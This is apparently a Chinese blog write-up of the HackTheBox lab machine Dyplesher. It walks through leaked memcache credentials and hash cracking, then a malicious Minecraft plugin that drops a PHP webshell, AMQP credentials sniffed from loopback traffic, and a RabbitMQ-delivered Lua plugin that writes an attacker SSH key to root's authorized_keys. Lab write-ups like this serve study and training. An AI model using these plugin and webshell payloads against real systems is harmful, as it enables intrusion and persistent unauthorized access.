抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

Dyplesher靶机是自己第一次完成的现役insane难度htb靶机。靶机涉及的服务相对比较多,包括web,gogs,minecraft,memcache等等。不过说实话做完后感觉难度跟Travel差不多,到不了insane难度。可能主要是里面的Java知识对于大部分人来说偏繁琐了。总体上感觉还是不错的。这里还是简单记录下过程以及提权部分学到的知识吧。

  • 靶机ip:10.10.10.190
  • kaliip: 10.10.14.23

initial foothold

首先是nmap基本扫描得到三个端口22,80,3000.进一步扫描发现还有其他几个端口。4369(epmd),5672(amqp),11211等。

其中11211是memcache对应端口。之前在travel中用过,所以印象比较深刻。不过这里还是简单从低端口开始审计。

首先web80端口发现提示这里可能跟mc相关。从cookie的配置可以看出似乎使用了laravel框架。因为是黑盒所以不确定是否能用RCE打。

接下来首页还提示了我们一个子域名test.dyplesher.htb。加到hosts中。

页面的/staff有三个用户名

这三个用户名在后面会经常出现。

接下来页面信息收集完了。我们爆破下路径。发现存在/login页面。简单尝试登录未果,看来需要另外收集信息,或者login不是目的。

3000端口是个gogs服务。提供git的话看来是又有信息泄露了。不过同样我们没有可用的信息。不过gogs倒是在users处提示我们有刚刚上面的三个用户。

接下来去往test.dyplesher.htb.页面只接受两个参数,似乎是在判断你的两个输入是否一致。然后尝试注入也未果。

继续扫目录。得到.git泄露。使用githackdump下来。
得到index.php源码

<HTML>
<BODY>
<h1>Add key and value to memcache<h1>
<FORM METHOD="GET" NAME="test" ACTION="">
<INPUT TYPE="text" NAME="add">
<INPUT TYPE="text" NAME="val">
<INPUT TYPE="submit" VALUE="Send">
</FORM>

<pre>
<?php
if($_GET['add'] != $_GET['val']){
        $m = new Memcached();
        $m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
        $m->setSaslAuthData("felamos", "zxcvbnm");
        $m->addServer('127.0.0.1', 11211);
        $m->add($_GET['add'], $_GET['val']);
        echo "Done!";
}
else {
        echo "its equal";
}
?>
</pre>

</BODY>
</HTML>

得到一组memcache账户。尝试web页面的登录未果。于是直接连接memcache.此处我们使用nodejs的memcache-cli.npm全局下载即可。

memcache-cli felamos:zxcvbnm@10.10.10.190:11211 

连接上后收集到三个用户名(还是上面三个人)以及三个bcrypt密码。

$2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK
$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS

hashcat爆破之.只得到一组felamos密码mommy1。

继续用这组账户尝试登录。最后在gogs处登录成功。在80端口仍然不能登录,一度让我以为那个登录是假的。

审查用户felamos的仓库。只有gitlab跟memcached两个。其中memcached的我们已经收集过了。gitlab仓库发现没有内容,但是有release.

下载release中的repo.zip(20mb下了快半小时……难受)并解压。

root@byc404:~/htb/boxes/Dyplesher/git/repositories# find .
.
./@hashed
./@hashed/4e
./@hashed/4e/07
./@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
./@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle
./@hashed/6b
./@hashed/6b/86
./@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle
./@hashed/4b
./@hashed/4b/22
./@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle
./@hashed/d4
./@hashed/d4/73
./@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle

这里有.bundle文件。我们单独拿出来并git clone。

#!/bin/bash

for i in $(find ../repositories | grep bundle)
do
        git clone $i
done

bundle clone完后的内容就有点多了。同样简单看下四个仓库的内容,有的是跟mc有关。有的是phpbashshell有关。再次find下找到一个sqlite的db文件users.db。直接进入db.select * from users.
得到

18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81

又是一个bcrypt密码。再度hashcat破解得到alexis1

这次我们终于能登录进80端口的页面了。进入后发现是一个控制台。里面显示的是mc信息。然后功能包括上传plugin跟重新加载指定plugin.

emm虽然没玩过正版mc但是至少知道它是java写的。我在网上找了下发现有非常全面的指南。感觉就算不会java的人也能跟着做了。当然这里我刚好前一天简单学习了下maven的使用。所以就idea直接上手maven项目。

具体参考这篇文章,我就简单做下解释,当做idea学习笔记了。

首先是pom.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>top.bycsec</groupId>
    <artifactId>java_mc_exp</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
        <java.version>10</java.version>
        <maven.compiler.source>10</maven.compiler.source>
        <maven.compiler.target>10</maven.compiler.target>
    </properties>
    <repositories>
        <repository>
            <id>spigotmc-repo</id>
            <url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
        </repository>
    </repositories>

    <dependencies>
        <dependency>
            <groupId>org.spigotmc</groupId>
            <artifactId>spigot-api</artifactId>
            <version>1.16.1-R0.1-SNAPSHOT</version>
            <scope>provided</scope>
        </dependency>
    </dependencies>

</project>

groupID这种建项目前就应该已经让我们自己配置好了。我按照正常标准定为top.bycsec.然后下面properties的设定是一个小坑。因为自己idea的jdk版本跟系统不一致,然后还有系统的语言level水平等等问题。导致maven编译时会出现报错”不支持发行版本5”.经常改完了配置还是报错。解决方法只有像上面那样按照自己的标准配置pom.xml才能避免报错。

下面的仓库是spigot 给mc用的maven仓库。我们会用到的spigot-api得去对应的仓库下载。

然后最终完整的目录结构如下。

resources即外部资源包中需要plugin.yml来指定plugin信息。这里非常重要。因为我们后面要用到plugin的命字。其中似乎不能包含_这样的字符。所以直接取一个正常的名字。

然后是main下编写。这里我们因为不是用的mvn创建的,是不会指定包的。所以我们自己建个包top.bycsec.plugin并新建PluginExp作为要加载的主类。同时plugin.yml中也将这个类指定为加载的主类。

接下来是利用类的编写

package top.bycsec.plugin;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;


public class PluginExp extends JavaPlugin {

    @Override
    public void onEnable() {
        final String code="<?php @system($_REQUEST[byc]);?>";
        try {
            File file = new File("/var/www/html/bycshell.php");
            if (!file.exists()) {
                File dir = new File(file.getParent());
                dir.mkdirs();
                file.createNewFile();
            }
            FileOutputStream outStream = new FileOutputStream(file);
            outStream.write(code.getBytes());
            outStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        super.onEnable();
    }

    @Override
    public void onDisable() {
        super.onDisable();
    }
}

首先注意插件类必须继承JavaPlugin。这个maven下载依赖时会帮我们下好。然后只需重写两个方法即可。我们使用onEnable插入恶意代码,这样就可以在插件生效时直接执行。

这里选择写入webshell原因有点多。首先题目靶机居然是不通外网的。这个我真没想到。其次java项目大多配置好了一些禁止类。runtime很有可能是行不通的。所以我选择直接写入webshell(猜了一手laravel对应的就是html文件夹而不是dyplesher.htb)

最后完成后我们使用maven编译打包。直接双击右边maven的生命周期中的package即可创建对应jar file.

回到网页上传plugin并使用plugin名byc404 reload.

写入webshell.

然后到这一步后才真正意识到靶机不通外网。所以常规弹shell不可行。只能尝试写入ssh公钥。

成功登陆。

小结下。这一部分难度其实还好。主要时间都花在爆破密码以及编写java的exp时被idea的报错给困扰了一小会上了。但是老实说确实没有什么难度。正好让自己把刚学的maven巩固了一下。一举两得。

privesc to user

简单看下user文件夹下果不其然还有yuntaofelamos两个用户

接下来在使用MinatoTW的id时发现一个重要信息

uid=1001(MinatoTW) gid=1001(MinatoTW) groups=1001(MinatoTW),122(wireshark)

MinatoTW是wireshark用户组的。也就是说我们可以用靶机上的wireshark抓包。确认了下网卡应该是lo.(lo代表127.0.0.1,即localhost)

tshark -i lo -F pcap -w byc.pcap

抓一段时间的包后用wireshark打开分析.跟下tcp流

很快就能抓到关键信息

AMQPLib.platformS....PHP.versionS....2.11.1.informationS....    copyrightS.....capabilitiesF.....authentication_failure_closet..publisher_confirmst..consumer_cancel_notifyt..exchange_exchange_bindingst.
basic.nackt..connection.blockedt..AMQPLAIN...,.LOGINS....yuntao.PASSWORDS...
EashAnicOc3Op.en_US.

这一段似乎是AMQP的通信内容。其中有一组用户密码yuntao:EashAnicOc3Op

并且紧接着下面就有多组用户信息。似乎来自于mc


{"name":"MinatoTW","email":"MinatoTW@dyplesher.htb","address":"India","password":"bihys1amFov","subscribed":true}
{"name":"yuntao","email":"yuntao@dyplesher.htb","address":"Italy","password":"wagthAw4ob","subscribed":true}
{"name":"felamos","email":"felamos@dyplesher.htb","address":"India","password":"tieb0graQueg","subscribed":true}

经测试发现这三组密码均为系统用户密码。
su后即可在felamos文件夹下拿到user.txt

privesc to root

接下来在felamos有一个yuntao的文件夹。里面写着send.sh

#!/bin/bash

echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' >  /dev/pts/{}

cuberite plugins 是以lua语言编写的插件。而这里的信息似乎在提示我们可以编写恶意lua插件来进行privesc.并且提示说只要提供lua的url地址就可以将插件加入服务。

“Exchange” and “Queue” 的含义在我进行了一些简单的enum后发现应该是AMQP所用到的。由于我们一开始就发现AMQP端口是对外的,而且刚刚wireshark抓到了一组yuntao的账户还没用上。极大可能就是利用amqp去进行通信加载lua插件。

这里靶机上跑着的是RabbitMQ.而RabbitMQ默认是root权限跑的。并且我们可以在靶机上找到运行信息。

我们看看一套 MQ 完整流程是什么样的:

首先将 RabbitMQ 服务启动

Producer

1、创建一个 connection
2、在 connection 基础上创建一个频道 channel
3、在频道 channel 上声明一个 exchange,参数为 exchange 的类型和名称
4、在频道 channel 上发布消息,参数为 exchange 的名称以及路由 (routing_key) 以及消息体
5、关闭 connection

这里我们可以推测前面的提示中plugin_data可能就是路由。而我们要传递的消息体就是lua的url.接下来我们使用python 的pika进行编写

import pika


creds=pika.PlainCredentials('yuntao','EashAnicOc3Op')
params=pika.Connectionparams('10.10.10.190',5672,'/',creds)
conn=pika.BlockingConnection(params)

channel = conn.channel()
channel.basic_publish(exchange='', routing_key='plugin_data',body="http://127.0.0.1:9001/exp.lua")
conn.close()

然后准备一个恶意的lua脚本。由于lua反弹shell我发现似乎都是不交互的,所以选择写ssh key

f=io.open("/root/.ssh/authorized_keys", "w")
f:write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1dF791Ph8rC/PU4fXFjW4rBuU8JbmozNWx1kll3NA5r/vhpG05UZ/7dl8+Hs+bbnv/4TMferXgPj27QFJNGBuEfM+ZVO9ah5QNTwrO26vlCP885GyO0RoAoFM0ZNQaYfim1j6zrnplgWtJ7rIHRyrxt6ZDCFq7hGQm8CQP1xbVeaYoYYYHAVVt3IxDbeHh5pJsZDNvzsh1RZNCQlLdwvpoDdWhNPYq+lNYWSjGmW9nMVgQzcY1rk2IEf0Cg5NbZyFtBHITEG0myWIEXtg8D+t9f3IZbgzjaXkN4lVbGAGhNHvfrCemrmTWCbfpuoSS7mE65qfo87yVJdxwWYbx47fe0FMGtDBexa/+WyRApN+E/n3D+Dk56bnzSWiWzzxQptxJVPnM+txWOA6aixGb0PJpO1Wa2S29kg1C4GLNaEKXupursO7Vewq4ZCyzQmeWi2g8BljNqjIA89C9v2cRyFx+lIILxwNn2xbjVVf/WYjcE3lXLpqqz2CzCfuR+4xbSU= root@byc404")
f:close()

在靶机上起个python监听9001,然后kali运行脚本。看到靶机上获取到lua脚本后就可以root ssh登录了。

rooted.

summary

insane难度的靶机首先确实有一定难度。不过整体上我感觉跟travel难度差不多。主要enum的过程没有那么枯燥,而利用起来的难度也没那么高。但是总归还是很有水平的靶机。需要我们耐心的去整合信息并学习新知识。编写mc跟lua插件都是提醒我们不要任意允许用户上传自定义插件。

评论